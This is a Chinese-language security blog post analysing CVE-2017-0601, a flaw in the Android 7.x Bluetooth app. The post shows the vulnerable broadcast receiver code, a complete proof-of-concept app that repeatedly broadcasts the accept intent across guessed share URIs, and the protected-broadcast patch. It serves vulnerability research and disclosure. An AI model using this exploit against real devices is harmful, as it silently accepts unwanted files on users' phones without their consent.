作者:FloatingGuy 转载请注明出处:https://floatingguy.github.io/


关注重点:

简介

影响的机型

只对7.0 以后的系统的有影响:

  • 7.0
  • 7.1.1
  • 7.1.2

基本描述

CVE-2017-0601 蓝牙App暴露了一个广播接收器
com.android.bluetooth.opp.BluetoothOppReceiver,本地普通App可以向这个Receiver发送广播,android.btopp.intent.action.ACCEPT action 允许绕过用户操作主动接受 文件。

漏洞分析/POC

[移动安全]【独家】原创蓝牙App漏洞系列分析之一CVE20170601

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if (action.equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {
// If this is within a sending process, continue the handle
// logic to display device picker dialog.
....
}
} else if (action.equals(Constants.ACTION_ACCEPT)) {
//ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
if (V) Log.v(TAG, "Receiver ACTION_ACCEPT");
Uri uri = intent.getData();
ContentValues values = new ContentValues();
values.put(BluetoothShare.USER_CONFIRMATION, BluetoothShare.USER_CONFIRMATION_CONFIRMED);
// 将Intent携带Uri指向的db进行更新,更新为用户确认状态
context.getContentResolver().update(uri, values, null, null);
cancelNotification(context, uri);
}

上面的代码是 7.0 系统中,在6.0.1 不存在Constants.ACTION_ACCEPT.

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class MainActivity extends AppCompatActivity {
ToggleButton toggleButton;
Context ctx = this;
public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/";
boolean Flag = false;
// 此POC 在 android 6.0.1 上测试没有效果
// https://xianzhi.aliyun.com/forum/read/1570.html
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final Runnable mRunnable = new Runnable() {
@Override
public void run() {
try {
while (Flag) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
intent.setAction(ACTION_ACCEPT);
// Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
// Then Send broadcast to change the incoming file status
for (int i = 0 ; i < 255; i++) {
String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
intent.setData(Uri.parse(uriString));
sendBroadcast(intent);
}
}
}catch (Exception e) {
e.printStackTrace();
}
}
};
toggleButton = (ToggleButton)findViewById(R.id.toggleButton);
toggleButton.setOnClickListener( new View.OnClickListener() {
@Override
public void onClick(View view) {
Thread thread = new Thread(mRunnable);
// turn on
if (toggleButton.isChecked()) {
Toast.makeText(ctx, "checked", Toast.LENGTH_SHORT).show();
Flag = true;
thread.start();
} else { //turn off
Toast.makeText(ctx, "not checked", Toast.LENGTH_SHORT).show();
Flag = false;
}
}
});
}
}

补丁

将 bluetooth app 使用action 保护起来, 只允许系统应用发送该 action 的广播。参考:protected-broadcast 系统应用自定义广播规范
framework/base/core/res/AndroidManifest.xml

1
2
3
4
5
6
7
8
<protected-broadcast android:name="android.btopp.intent.action.OPEN_INBOUND" />
<protected-broadcast android:name="android.btopp.intent.action.TRANSFER_COMPLETE" />
<protected-broadcast android:name="com.android.bluetooth.gatt.REFRESH_BATCHED_SCAN" />
+ <protected-broadcast android:name="android.btopp.intent.action.ACCEPT" />
+ <protected-broadcast android:name="android.btopp.intent.action.DECLINE" />
<protected-broadcast android:name="com.android.bluetooth.pbap.authchall" />
<protected-broadcast android:name="com.android.bluetooth.pbap.userconfirmtimeout" />
<protected-broadcast android:name="com.android.bluetooth.pbap.authresponse" />